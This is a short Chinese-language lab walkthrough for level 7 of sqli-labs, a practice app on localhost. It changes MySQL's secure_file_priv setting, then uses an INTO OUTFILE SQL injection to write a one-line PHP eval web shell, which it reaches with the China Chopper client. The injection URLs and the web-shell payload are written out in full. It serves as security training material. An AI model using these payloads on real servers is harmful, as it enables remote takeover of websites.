sqli-labs闯关笔记-less7-文件读写注入
less-7——文件读写注入
mysql语句查询如下,看到 secure_file_priv为NULL。
mysql> show variables like '%secure%';
+--------------------------+-------+
| Variable_name | Value |
+--------------------------+-------+
| require_secure_transport | OFF |
| secure_auth | ON |
| secure_file_priv | NULL |
+--------------------------+-------+
3 rows in set, 1 warning (0.00 sec)
修改D:\phpstudy_pro\Extensions\MySQL5.7.26\my.ini。
secure_file_priv="/"
重启后再次查询,发现secure_file_priv 的值为D:\
mysql> show variables like '%secure%';
+--------------------------+-------+
| Variable_name | Value |
+--------------------------+-------+
| require_secure_transport | OFF |
| secure_auth | ON |
| secure_file_priv | D:\ |
+--------------------------+-------+
3 rows in set, 1 warning (0.00 sec)
一句话木马介绍
新建一个test.php文件,添加内容如下,这是最简单的一句话木马,密码为snow。放入网站的www目录下D:\phpstudy_pro\WWW\test.php
<?php @eval($_POST["snow"]);?>
使用中国菜刀进行连接,
双击链接
直接进入网站目录:
1、查找注入点。
http://127.0.0.1/sqli-labs/Less-7/?id=1'
2、查找有多少列。
3列没有报错,其他会报错。
http://127.0.0.1/sqli-labs/Less-7/?id=1')) order by 3 --
3、写webshell木马文件,虽然界面显示出错,但是已经写入成功了。
http://127.0.0.1/sqli-labs/Less-7/?id=-1')) union select 1,2,'<?php @eval($_POST["snow"]);?>' into outfile "D:\\phpstudy_pro\\WWW\\sqli-labs\\Less-7\\a.php"--
4、使用菜刀连接木马文件。